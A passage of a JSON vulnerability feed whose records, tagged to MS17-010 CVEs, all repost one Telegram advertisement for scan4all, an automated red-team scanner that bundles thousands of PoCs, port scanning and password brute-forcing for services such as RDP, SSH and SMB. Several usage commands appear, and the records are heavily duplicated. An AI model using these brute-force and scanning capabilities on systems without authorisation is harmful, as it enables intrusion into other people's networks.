statisticsTAGCOUNTAUTHORCOUNTDIRECTORYCOUNTSEVERITYCOUNTTYPECOUNTcve1294daffainfo605cves1277info1352http3554panel591dhiyaneshdk503exposed-panels600high938file76lfi486pikpikcu321vulnerabilities493medium766network50xss439pdteam269technologies266critical436dns17wordpress401geeknik187exposures254low211exposure355dwisiswant0169misconfiguration207unknown7cve20213220x_akoko154token-spray206rce313princechaddha147workflows187wp-plugin297pussycat0x128default-logins101tech282gy741126file76\n281 directories, 3922 files.\n\n* vscan POC \n* vscan POC includes: xray 2.0 300+ POC, go POC, etc.\n\n* scan4all POC\n\n* \nSupport 7000+ web fingerprint scanning, identification:\n\n* httpx fingerprint \n* vscan fingerprint\n* vscan fingerprint: including eHoleFinger, localFinger, etc.\n\n* scan4all fingerprint\n\n* \nSupport 146 protocols and 90000+ rule port scanning\n\n* Depends on protocols and fingerprints supported by nmap\n\n* \nFast HTTP sensitive file detection, can customize dictionary\n\n* \nLanding page detection\n\n* \nSupports multiple types of input - STDIN/HOST/IP/CIDR/URL/TXT\n\n* \nSupports multiple output types - JSON/TXT/CSV/STDOUT\n\n* \nHighly integratable: Configurable unified storage of results to Elasticsearch [strongly recommended]\n\n* \nSmart SSL Analysis:\n\n* In-depth analysis, automatically correlate the scanning of domain names in SSL information, such as *.xxx.com, and complete subdomain traversal according [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2017-0145", "author": {"login": "automation"}}, {"uuid": "3bbfa09f-c99a-4610-99bb-49982d8a1f97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.824412+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70882", "content": "KitPloit - PenTest Tools!\nScan4All - Vuls Scan: 15000+PoCs; 21 Kinds Of Application Password Crack; 7000+Web Fingerprints; 146 Protocols And 90000+ Rules Port Scanning; Fuzz, HW, Awesome BugBounty...\n\nhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisTJxJ4U78kCBktVvucfEIDh57XmKW1q6sBmDzUOpTpKc8MJ-Cn1Hxzu4dBdCO86QZ2nWnmkzV_Pw8OkuBxyTJ28khyAkBnUeaBU8VHPHemkCET7Zps8erD1mh0n7aLwSm0kLSqxmLKtBTSRS_f8VFXlb6ZfoxUPrXkEERIJG_ngKJvbx_CqzTpbzZ2g/w640-h500/scan4all_4.png * What is scan4all: integrated vscan, nuclei, ksubdomain, subfinder, etc., fully automated and intelligent\u3002red team tools Code-level optimization, parameter optimization, and individual modules, such as vscan filefuzz, have been rewritten for these integrated projects. In principle, do not repeat the wheel, unless there are bugs, problems\n* Cross-platform: based on golang implementation, lightweight, highly customizable, open source, supports Linux, windows, mac os, etc.\n* Support [21] password blasting, support custom dictionary, open by \"priorityNmap\": true \n* RDP\n* SSH\n* rsh-spx\n* Mysql\n* MsSql\n* Oracle\n* Postgresql\n* Redis\n* FTP\n* Mongodb\n* SMB, also detect MS17-010 (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148), SmbGhost (CVE- 2020-0796)\n* Telnet\n* Snmp\n* Wap-wsp (Elasticsearch)\n* RouterOs\n* HTTP BasicAuth\n* Weblogic, enable nuclei through enableNuclei=true at the same time, support T3, IIOP and other detection\n* Tomcat\n* Jboss\n* Winrm(wsman)\n* POP3\n\n* By default, http password intelligent blasting is enabled, and it will be automatically activated when an HTTP password is required, without manual intervention\n* Detect whether there is nmap in the system, and enable nmap for fast scanning through priorityNmap=true, which is enabled by default, and the optimized nmap parameters are faster than masscan Disadvantages of using nmap: Is the network bad, because the traffic network packet is too large, which may lead to incomplete results Using nmap additionally requires setting the root password to an environment variable export PPSSWWDD=yourRootPswd More references: config/doNmapScan.sh By default, naabu is used to complete port scanning -stats=true to view the scanning progress Can I not scan ports? noScan=true ./scan4all -l list.txt -v\n# nmap result default noScan=true \n./scan4all -l nmapRssuilt.xml -v* Fast 15000+ POC detection capabilities, PoCs include: \n* nuclei POC Nuclei Templates Top 10 statisticsTAGCOUNTAUTHORCOUNTDIRECTORYCOUNTSEVERITYCOUNTTYPECOUNTcve1294daffainfo605cves1277info1352http3554panel591dhiyaneshdk503exposed-panels600high938file76lfi486pikpikcu321vulnerabilities493medium766network50xss439pdteam269technologies266critical436dns17wordpress401geeknik187exposures254low211exposure355dwisiswant0169misconfiguration207unknown7cve20213220x_akoko154token-spray206rce313princechaddha147workflows187wp-plugin297pussycat0x128default-logins101tech282gy741126file76\n281 directories, 3922 files.\n\n* vscan POC \n* vscan POC includes: xray 2.0 300+ POC, go POC, etc.\n\n* scan4all POC\n\n* \nSupport 7000+ web fingerprint scanning, identification:\n\n* httpx fingerprint \n* vscan fingerprint\n* vscan fingerprint: including eHoleFinger, localFinger, etc.\n\n* scan4all fingerprint\n\n* \nSupport 146 protocols and 90000+ rule port scanning\n\n* Depends on protocols and fingerprints supported by nmap\n\n* \nFast HTTP sensitive file detection, can customize dictionary\n\n* \nLanding page detection\n\n* \nSupports multiple types of input - STDIN/HOST/IP/CIDR/URL/TXT\n\n* \nSupports multiple output types - JSON/TXT/CSV/STDOUT\n\n* \nHighly integratable: Configurable unified storage of results to Elasticsearch [strongly recommended]\n\n* \nSmart SSL Analysis:\n\n* In-depth analysis, automatically correlate the scanning of domain names in SSL information, such as *.xxx.com, and complete subdomain traversal according [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2017-0144", "author": {"login": "automation"}}, {"uuid": "25608856-aae6-4edd-9f6f-ca35dbcfa84f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.776746+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70882", "content": "KitPloit - PenTest Tools!\nScan4All - Vuls Scan: 15000+PoCs; 21 Kinds Of Application Password Crack; 7000+Web Fingerprints; 146 Protocols And 90000+ Rules Port Scanning; Fuzz, HW, Awesome BugBounty...\n\nhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisTJxJ4U78kCBktVvucfEIDh57XmKW1q6sBmDzUOpTpKc8MJ-Cn1Hxzu4dBdCO86QZ2nWnmkzV_Pw8OkuBxyTJ28khyAkBnUeaBU8VHPHemkCET7Zps8erD1mh0n7aLwSm0kLSqxmLKtBTSRS_f8VFXlb6ZfoxUPrXkEERIJG_ngKJvbx_CqzTpbzZ2g/w640-h500/scan4all_4.png * What is scan4all: integrated vscan, nuclei, ksubdomain, subfinder, etc., fully automated and intelligent\u3002red team tools Code-level optimization, parameter optimization, and individual modules, such as vscan filefuzz, have been rewritten for these integrated projects. In principle, do not repeat the wheel, unless there are bugs, problems\n* Cross-platform: based on golang implementation, lightweight, highly customizable, open source, supports Linux, windows, mac os, etc.\n* Support [21] password blasting, support custom dictionary, open by \"priorityNmap\": true \n* RDP\n* SSH\n* rsh-spx\n* Mysql\n* MsSql\n* Oracle\n* Postgresql\n* Redis\n* FTP\n* Mongodb\n* SMB, also detect MS17-010 (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148), SmbGhost (CVE- 2020-0796)\n* Telnet\n* Snmp\n* Wap-wsp (Elasticsearch)\n* RouterOs\n* HTTP BasicAuth\n* Weblogic, enable nuclei through enableNuclei=true at the same time, support T3, IIOP and other detection\n* Tomcat\n* Jboss\n* Winrm(wsman)\n* POP3\n\n* By default, http password intelligent blasting is enabled, and it will be automatically activated when an HTTP password is required, without manual intervention\n* Detect whether there is nmap in the system, and enable nmap for fast scanning through priorityNmap=true, which is enabled by default, and the optimized nmap parameters are faster than masscan Disadvantages of using nmap: Is the network bad, because the traffic network packet is too large, which may lead to incomplete results Using nmap additionally requires setting the root password to an environment variable export PPSSWWDD=yourRootPswd More references: config/doNmapScan.sh By default, naabu is used to complete port scanning -stats=true to view the scanning progress Can I not scan ports? noScan=true ./scan4all -l list.txt -v\n# nmap result default noScan=true \n./scan4all -l nmapRssuilt.xml -v* Fast 15000+ POC detection capabilities, PoCs include: \n* nuclei POC Nuclei Templates Top 10 statisticsTAGCOUNTAUTHORCOUNTDIRECTORYCOUNTSEVERITYCOUNTTYPECOUNTcve1294daffainfo605cves1277info1352http3554panel591dhiyaneshdk503exposed-panels600high938file76lfi486pikpikcu321vulnerabilities493medium766network50xss439pdteam269technologies266critical436dns17wordpress401geeknik187exposures254low211exposure355dwisiswant0169misconfiguration207unknown7cve20213220x_akoko154token-spray206rce313princechaddha147workflows187wp-plugin297pussycat0x128default-logins101tech282gy741126file76\n281 directories, 3922 files.\n\n* vscan POC \n* vscan POC includes: xray 2.0 300+ POC, go POC, etc.\n\n* scan4all POC\n\n* \nSupport 7000+ web fingerprint scanning, identification:\n\n* httpx fingerprint \n* vscan fingerprint\n* vscan fingerprint: including eHoleFinger, localFinger, etc.\n\n* scan4all fingerprint\n\n* \nSupport 146 protocols and 90000+ rule port scanning\n\n* Depends on protocols and fingerprints supported by nmap\n\n* \nFast HTTP sensitive file detection, can customize dictionary\n\n* \nLanding page detection\n\n* \nSupports multiple types of input - STDIN/HOST/IP/CIDR/URL/TXT\n\n* \nSupports multiple output types - JSON/TXT/CSV/STDOUT\n\n* \nHighly integratable: Configurable unified storage of results to Elasticsearch [strongly recommended]\n\n* \nSmart SSL Analysis:\n\n* In-depth analysis, automatically correlate the scanning of domain names in SSL information, such as *.xxx.com, and complete subdomain traversal according [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2017-0148", "author": {"login": "automation"}}, {"uuid": "36cb7d32-0a70-4995-a729-75ce6b44e052", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.731443+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70882", "content": "KitPloit - PenTest Tools!\nScan4All - Vuls Scan: 15000+PoCs; 21 Kinds Of Application Password Crack; 7000+Web Fingerprints; 146 Protocols And 90000+ Rules Port Scanning; Fuzz, HW, Awesome BugBounty...\n\nhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisTJxJ4U78kCBktVvucfEIDh57XmKW1q6sBmDzUOpTpKc8MJ-Cn1Hxzu4dBdCO86QZ2nWnmkzV_Pw8OkuBxyTJ28khyAkBnUeaBU8VHPHemkCET7Zps8erD1mh0n7aLwSm0kLSqxmLKtBTSRS_f8VFXlb6ZfoxUPrXkEERIJG_ngKJvbx_CqzTpbzZ2g/w640-h500/scan4all_4.png * What is scan4all: integrated vscan, nuclei, ksubdomain, subfinder, etc., fully automated and intelligent\u3002red team tools Code-level optimization, parameter optimization, and individual modules, such as vscan filefuzz, have been rewritten for these integrated projects. In principle, do not repeat the wheel, unless there are bugs, problems\n* Cross-platform: based on golang implementation, lightweight, highly customizable, open source, supports Linux, windows, mac os, etc.\n* Support [21] password blasting, support custom dictionary, open by \"priorityNmap\": true \n* RDP\n* SSH\n* rsh-spx\n* Mysql\n* MsSql\n* Oracle\n* Postgresql\n* Redis\n* FTP\n* Mongodb\n* SMB, also detect MS17-010 (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148), SmbGhost (CVE- 2020-0796)\n* Telnet\n* Snmp\n* Wap-wsp (Elasticsearch)\n* RouterOs\n* HTTP BasicAuth\n* Weblogic, enable nuclei through enableNuclei=true at the same time, support T3, IIOP and other detection\n* Tomcat\n* Jboss\n* Winrm(wsman)\n* POP3\n\n* By default, http password intelligent blasting is enabled, and it will be automatically activated when an HTTP password is required, without manual intervention\n* Detect whether there is nmap in the system, and enable nmap for fast scanning through priorityNmap=true, which is enabled by default, and the optimized nmap parameters are faster than masscan Disadvantages of using nmap: Is the network bad, because the traffic network packet is too large, which may lead to incomplete results Using nmap additionally requires setting the root password to an environment variable export PPSSWWDD=yourRootPswd More references: config/doNmapScan.sh By default, naabu is used to complete port scanning -stats=true to view the scanning progress Can I not scan ports? noScan=true ./scan4all -l list.txt -v\n# nmap result default noScan=true \n./scan4all -l nmapRssuilt.xml -v* Fast 15000+ POC detection capabilities, PoCs include: \n* nuclei POC Nuclei Templates Top 10 statisticsTAGCOUNTAUTHORCOUNTDIRECTORYCOUNTSEVERITYCOUNTTYPECOUNTcve1294daffainfo605cves1277info1352http3554panel591dhiyaneshdk503exposed-panels600high938file76lfi486pikpikcu321vulnerabilities493medium766network50xss439pdteam269technologies266critical436dns17wordpress401geeknik187exposures254low211exposure355dwisiswant0169misconfiguration207unknown7cve20213220x_akoko154token-spray206rce313princechaddha147workflows187wp-plugin297pussycat0x128default-logins101tech282gy741126file76\n281 directories, 3922 files.\n\n* vscan POC \n* vscan POC includes: xray 2.0 300+ POC, go POC, etc.\n\n* scan4all POC\n\n* \nSupport 7000+ web fingerprint scanning, identification:\n\n* httpx fingerprint \n* vscan fingerprint\n* vscan fingerprint: including eHoleFinger, localFinger, etc.\n\n* scan4all fingerprint\n\n* \nSupport 146 protocols and 90000+ rule port scanning\n\n* Depends on protocols and fingerprints supported by nmap\n\n* \nFast HTTP sensitive file detection, can customize dictionary\n\n* \nLanding page detection\n\n* \nSupports multiple types of input - STDIN/HOST/IP/CIDR/URL/TXT\n\n* \nSupports multiple output types - JSON/TXT/CSV/STDOUT\n\n* \nHighly integratable: Configurable unified storage of results to Elasticsearch [strongly recommended]\n\n* \nSmart SSL Analysis:\n\n* In-depth analysis, automatically correlate the scanning of domain names in SSL information, such as *.xxx.com, and complete subdomain traversal according [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2017-0147", "author": {"login": "automation"}}, {"uuid": "ea28d712-636c-4f2a-a5cb-cc0a4436ac36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.669907+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70875", "content": "What is scan4all: integrated vscan, nuclei, ksubdomain, subfinder, etc., fully automated and intelligent\u3002red team tools Code-level optimization, parameter optimization, and individual modules, such as vscan filefuzz, have been rewritten for these integrated projects. In principle, do not repeat the wheel, unless there are bugs, problemsCross-platform: based on golang implementation, lightweight, highly customizable, open source, supports Linux, windows, mac os, etc.Support [21] password blasting, support custom dictionary, open by \"priorityNmap\": true RDPSSHrsh-spxMysqlMsSqlOraclePostgresqlRedisFTPMongodbSMB, also detect MS17-010 (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148), SmbGhost (CVE- 2020-0796)TelnetSnmpWap-wsp (Elasticsearch)RouterOsHTTP BasicAuthWeblogic, enable nuclei through enableNuclei=true at the same time, support T3, IIOP and other detectionTomcatJbossWinrm(wsman)POP3By default, http password intelligent blasting is enabled, and it will be automatically activated when an HTTP password is required, without manual interventionDetect whether there is nmap in the system, and enable nmap for fast scanning through priorityNmap=true, which is enabled by default, and the optimized nmap parameters are faster than masscan Disadvantages of using nmap: Is the network bad, because the traffic network packet is too large, which may lead to incomplete results Using nmap additionally requires setting the root password to an environment variable\n  export PPSSWWDD=yourRootPswd More references: config/doNmapScan.sh By default, naabu is used to complete port scanning (https://www.kitploit.com/search/label/Port%20Scanning) -stats=true to view the scanning progress Can I not scan ports?noScan=true ./scan4all -l list.txt -v\n# nmap result default noScan=true \n./scan4all -l nmapRssuilt.xml -vFast 15000+ POC detection capabilities, PoCs include: nuclei POCNuclei Templates Top 10 statisticsTAGCOUNTAUTHORCOUNTDIRECTORYCOUNTSEVERITYCOUNTTYPECOUNTcve1294daffainfo605cves1277info1352http3554panel591dhiyaneshdk503exposed-panels600high938file76lfi486pikpikcu321vulnerabilities493medium766network50xss439pdteam269technologies266critical436dns17wordpress401geeknik187exposures254low211exposure355dwisiswant0169misconfiguration207unknown7cve20213220x_akoko154token-spray206rce313princechaddha147workflows187wp-plugin297pussycat0x128default-logins101tech282gy741126file76281 directories, 3922 files.vscan POC vscan POC includes: xray 2.0 300+ POC, go POC, etc.scan4all POCSupport 7000+ web fingerprint scanning, identification:httpx fingerprint vscan fingerprintvscan fingerprint: including eHoleFinger, localFinger, etc.scan4all fingerprintSupport 146 protocols and 90000+ rule port scanningDepends on protocols and fingerprints supported by nmapFast HTTP sensitive file detection, can customize dictionaryLanding page detectionSupports multiple types of input - STDIN/HOST/IP/CIDR/URL/TXTSupports multiple output types - JSON/TXT/CSV/STDOUTHighly integratable: Configurable unified storage of results to Elasticsearch (https://www.kitploit.com/search/label/Elasticsearch) [strongly recommended]Smart SSL Analysis:In-depth analysis, automatically correlate the scanning of domain names in SSL information, such as *.xxx.com, and complete subdomain traversal according to the configuration, and the result will automatically add the target to the scanning listSupport to enable *.xx.com subdomain traversal function in smart SSL information, export EnableSubfinder=true, or adjust in the configuration fileAutomatically identify the case of multiple IPs associated with a domain (DNS), and automatically scan the associated multiple IPsSmart processing:When the IPs of multiple domain names in the list are the same, merge port scans to improve efficiencyIntelligently handle http abnormal pages, and fingerprint calculation and learningAutomated supply chain (https://www.kitploit.com/search/label/Supply%20Chain) identification, analysis\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2017-0146", "author": {"login": "automation"}}, {"uuid": "7dcd141c-2073-4948-af78-c5976c533190", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.626663+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70875", "content": "What is scan4all: integrated vscan, nuclei, ksubdomain, subfinder, etc., fully automated and intelligent\u3002red team tools Code-level optimization, parameter optimization, and individual modules, such as vscan filefuzz, have been rewritten for these integrated projects. In principle, do not repeat the wheel, unless there are bugs, problemsCross-platform: based on golang implementation, lightweight, highly customizable, open source, supports Linux, windows, mac os, etc.Support [21] password blasting, support custom dictionary, open by \"priorityNmap\": true RDPSSHrsh-spxMysqlMsSqlOraclePostgresqlRedisFTPMongodbSMB, also detect MS17-010 (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148), SmbGhost (CVE- 2020-0796)TelnetSnmpWap-wsp (Elasticsearch)RouterOsHTTP BasicAuthWeblogic, enable nuclei through enableNuclei=true at the same time, support T3, IIOP and other detectionTomcatJbossWinrm(wsman)POP3By default, http password intelligent blasting is enabled, and it will be automatically activated when an HTTP password is required, without manual interventionDetect whether there is nmap in the system, and enable nmap for fast scanning through priorityNmap=true, which is enabled by default, and the optimized nmap parameters are faster than masscan Disadvantages of using nmap: Is the network bad, because the traffic network packet is too large, which may lead to incomplete results Using nmap additionally requires setting the root password to an environment variable\n  export PPSSWWDD=yourRootPswd More references: config/doNmapScan.sh By default, naabu is used to complete port scanning (https://www.kitploit.com/search/label/Port%20Scanning) -stats=true to view the scanning progress Can I not scan ports?noScan=true ./scan4all -l list.txt -v\n# nmap result default noScan=true \n./scan4all -l nmapRssuilt.xml -vFast 15000+ POC detection capabilities, PoCs include: nuclei POCNuclei Templates Top 10 statisticsTAGCOUNTAUTHORCOUNTDIRECTORYCOUNTSEVERITYCOUNTTYPECOUNTcve1294daffainfo605cves1277info1352http3554panel591dhiyaneshdk503exposed-panels600high938file76lfi486pikpikcu321vulnerabilities493medium766network50xss439pdteam269technologies266critical436dns17wordpress401geeknik187exposures254low211exposure355dwisiswant0169misconfiguration207unknown7cve20213220x_akoko154token-spray206rce313princechaddha147workflows187wp-plugin297pussycat0x128default-logins101tech282gy741126file76281 directories, 3922 files.vscan POC vscan POC includes: xray 2.0 300+ POC, go POC, etc.scan4all POCSupport 7000+ web fingerprint scanning, identification:httpx fingerprint vscan fingerprintvscan fingerprint: including eHoleFinger, localFinger, etc.scan4all fingerprintSupport 146 protocols and 90000+ rule port scanningDepends on protocols and fingerprints supported by nmapFast HTTP sensitive file detection, can customize dictionaryLanding page detectionSupports multiple types of input - STDIN/HOST/IP/CIDR/URL/TXTSupports multiple output types - JSON/TXT/CSV/STDOUTHighly integratable: Configurable unified storage of results to Elasticsearch (https://www.kitploit.com/search/label/Elasticsearch) [strongly recommended]Smart SSL Analysis:In-depth analysis, automatically correlate the scanning of domain names in SSL information, such as *.xxx.com, and complete subdomain traversal according to the configuration, and the result will automatically add the target to the scanning listSupport to enable *.xx.com subdomain traversal function in smart SSL information, export EnableSubfinder=true, or adjust in the configuration fileAutomatically identify the case of multiple IPs associated with a domain (DNS), and automatically scan the associated multiple IPsSmart processing:When the IPs of multiple domain names in the list are the same, merge port scans to improve efficiencyIntelligently handle http abnormal pages, and fingerprint calculation and learningAutomated supply chain (https://www.kitploit.com/search/label/Supply%20Chain) identification, analysis\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2017-0143", "author": {"login": "automation"}}, {"uuid": "4e9614de-9569-4887-b295-a090e69f3f50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.587256+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70875", "content": "What is scan4all: integrated vscan, nuclei, ksubdomain, subfinder, etc., fully automated and intelligent\u3002red team tools Code-level optimization, parameter optimization, and individual modules, such as vscan filefuzz, have been rewritten for these integrated projects. In principle, do not repeat the wheel, unless there are bugs, problemsCross-platform: based on golang implementation, lightweight, highly customizable, open source, supports Linux, windows, mac os, etc.Support [21] password blasting, support custom dictionary, open by \"priorityNmap\": true RDPSSHrsh-spxMysqlMsSqlOraclePostgresqlRedisFTPMongodbSMB, also detect MS17-010 (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148), SmbGhost (CVE- 2020-0796)TelnetSnmpWap-wsp (Elasticsearch)RouterOsHTTP BasicAuthWeblogic, enable nuclei through enableNuclei=true at the same time, support T3, IIOP and other detectionTomcatJbossWinrm(wsman)POP3By default, http password intelligent blasting is enabled, and it will be automatically activated when an HTTP password is required, without manual interventionDetect whether there is nmap in the system, and enable nmap for fast scanning through priorityNmap=true, which is enabled by default, and the optimized nmap parameters are faster than masscan Disadvantages of using nmap: Is the network bad, because the traffic network packet is too large, which may lead to incomplete results Using nmap additionally requires setting the root password to an environment variable\n  export PPSSWWDD=yourRootPswd More references: config/doNmapScan.sh By default, naabu is used to complete port scanning (https://www.kitploit.com/search/label/Port%20Scanning) -stats=true to view the scanning progress Can I not scan ports?noScan=true ./scan4all -l list.txt -v\n# nmap result default noScan=true \n./scan4all -l nmapRssuilt.xml -vFast 15000+ POC detection capabilities, PoCs include: nuclei POCNuclei Templates Top 10 statisticsTAGCOUNTAUTHORCOUNTDIRECTORYCOUNTSEVERITYCOUNTTYPECOUNTcve1294daffainfo605cves1277info1352http3554panel591dhiyaneshdk503exposed-panels600high938file76lfi486pikpikcu321vulnerabilities493medium766network50xss439pdteam269technologies266critical436dns17wordpress401geeknik187exposures254low211exposure355dwisiswant0169misconfiguration207unknown7cve20213220x_akoko154token-spray206rce313princechaddha147workflows187wp-plugin297pussycat0x128default-logins101tech282gy741126file76281 directories, 3922 files.vscan POC vscan POC includes: xray 2.0 300+ POC, go POC, etc.scan4all POCSupport 7000+ web fingerprint scanning, identification:httpx fingerprint vscan fingerprintvscan fingerprint: including eHoleFinger, localFinger, etc.scan4all fingerprintSupport 146 protocols and 90000+ rule port scanningDepends on protocols and fingerprints supported by nmapFast HTTP sensitive file detection, can customize dictionaryLanding page detectionSupports multiple types of input - STDIN/HOST/IP/CIDR/URL/TXTSupports multiple output types - JSON/TXT/CSV/STDOUTHighly integratable: Configurable unified storage of results to Elasticsearch (https://www.kitploit.com/search/label/Elasticsearch) [strongly recommended]Smart SSL Analysis:In-depth analysis, automatically correlate the scanning of domain names in SSL information, such as *.xxx.com, and complete subdomain traversal according to the configuration, and the result will automatically add the target to the scanning listSupport to enable *.xx.com subdomain traversal function in smart SSL information, export EnableSubfinder=true, or adjust in the configuration fileAutomatically identify the case of multiple IPs associated with a domain (DNS), and automatically scan the associated multiple IPsSmart processing:When the IPs of multiple domain names in the list are the same, merge port scans to improve efficiencyIntelligently handle http abnormal pages, and fingerprint calculation and learningAutomated supply chain (https://www.kitploit.com/search/label/Supply%20Chain) identification, analysis\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2017-0145", "author": {"login": "automation"}}, {"uuid": "376c1b64-334c-4913-a63b-c762f8540cc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.549898+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70875", "content": "What is scan4all: integrated vscan, nuclei, ksubdomain, subfinder, etc., fully automated and intelligent\u3002red team tools Code-level optimization, parameter optimization, and individual modules, such as vscan filefuzz, have been rewritten for these integrated projects. In principle, do not repeat the wheel, unless there are bugs, problemsCross-platform: based on golang implementation, lightweight, highly customizable, open source, supports Linux, windows, mac os, etc.Support [21] password blasting, support custom dictionary, open by \"priorityNmap\": true RDPSSHrsh-spxMysqlMsSqlOraclePostgresqlRedisFTPMongodbSMB, also detect MS17-010 (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148), SmbGhost (CVE- 2020-0796)TelnetSnmpWap-wsp (Elasticsearch)RouterOsHTTP BasicAuthWeblogic, enable nuclei through enableNuclei=true at the same time, support T3, IIOP and other detectionTomcatJbossWinrm(wsman)POP3By default, http password intelligent blasting is enabled, and it will be automatically activated when an HTTP password is required, without manual interventionDetect whether there is nmap in the system, and enable nmap for fast scanning through priorityNmap=true, which is enabled by default, and the optimized nmap parameters are faster than masscan Disadvantages of using nmap: Is the network bad, because the traffic network packet is too large, which may lead to incomplete results Using nmap additionally requires setting the root password to an environment variable\n  export PPSSWWDD=yourRootPswd More references: config/doNmapScan.sh By default, naabu is used to complete port scanning (https://www.kitploit.com/search/label/Port%20Scanning) -stats=true to view the scanning progress Can I not scan ports?noScan=true ./scan4all -l list.txt -v\n# nmap result default noScan=true \n./scan4all -l nmapRssuilt.xml -vFast 15000+ POC detection capabilities, PoCs include: nuclei POCNuclei Templates Top 10 statisticsTAGCOUNTAUTHORCOUNTDIRECTORYCOUNTSEVERITYCOUNTTYPECOUNTcve1294daffainfo605cves1277info1352http3554panel591dhiyaneshdk503exposed-panels600high938file76lfi486pikpikcu321vulnerabilities493medium766network50xss439pdteam269technologies266critical436dns17wordpress401geeknik187exposures254low211exposure355dwisiswant0169misconfiguration207unknown7cve20213220x_akoko154token-spray206rce313princechaddha147workflows187wp-plugin297pussycat0x128default-logins101tech282gy741126file76281 directories, 3922 files.vscan POC vscan POC includes: xray 2.0 300+ POC, go POC, etc.scan4all POCSupport 7000+ web fingerprint scanning, identification:httpx fingerprint vscan fingerprintvscan fingerprint: including eHoleFinger, localFinger, etc.scan4all fingerprintSupport 146 protocols and 90000+ rule port scanningDepends on protocols and fingerprints supported by nmapFast HTTP sensitive file detection, can customize dictionaryLanding page detectionSupports multiple types of input - STDIN/HOST/IP/CIDR/URL/TXTSupports multiple output types - JSON/TXT/CSV/STDOUTHighly integratable: Configurable unified storage of results to Elasticsearch (https://www.kitploit.com/search/label/Elasticsearch) [strongly recommended]Smart SSL Analysis:In-depth analysis, automatically correlate the scanning of domain names in SSL information, such as *.xxx.com, and complete subdomain traversal according to the configuration, and the result will automatically add the target to the scanning listSupport to enable *.xx.com subdomain traversal function in smart SSL information, export EnableSubfinder=true, or adjust in the configuration fileAutomatically identify the case of multiple IPs associated with a domain (DNS), and automatically scan the associated multiple IPsSmart processing:When the IPs of multiple domain names in the list are the same, merge port scans to improve efficiencyIntelligently handle http abnormal pages, and fingerprint calculation and learningAutomated supply chain (https://www.kitploit.com/search/label/Supply%20Chain) identification, analysis\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2017-0144", "author": {"login": "automation"}}, {"uuid": "9183cf1b-2e7d-4452-9b73-cffb12da2041", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.501222+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70875", "content": "What is scan4all: integrated vscan, nuclei, ksubdomain, subfinder, etc., fully automated and intelligent\u3002red team tools Code-level optimization, parameter optimization, and individual modules, such as vscan filefuzz, have been rewritten for these integrated projects. In principle, do not repeat the wheel, unless there are bugs, problemsCross-platform: based on golang implementation, lightweight, highly customizable, open source, supports Linux, windows, mac os, etc.Support [21] password blasting, support custom dictionary, open by \"priorityNmap\": true RDPSSHrsh-spxMysqlMsSqlOraclePostgresqlRedisFTPMongodbSMB, also detect MS17-010 (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148), SmbGhost (CVE- 2020-0796)TelnetSnmpWap-wsp (Elasticsearch)RouterOsHTTP BasicAuthWeblogic, enable nuclei through enableNuclei=true at the same time, support T3, IIOP and other detectionTomcatJbossWinrm(wsman)POP3By default, http password intelligent blasting is enabled, and it will be automatically activated when an HTTP password is required, without manual interventionDetect whether there is nmap in the system, and enable nmap for fast scanning through priorityNmap=true, which is enabled by default, and the optimized nmap parameters are faster than masscan Disadvantages of using nmap: Is the network bad, because the traffic network packet is too large, which may lead to incomplete results Using nmap additionally requires setting the root password to an environment variable\n  export PPSSWWDD=yourRootPswd More references: config/doNmapScan.sh By default, naabu is used to complete port scanning (https://www.kitploit.com/search/label/Port%20Scanning) -stats=true to view the scanning progress 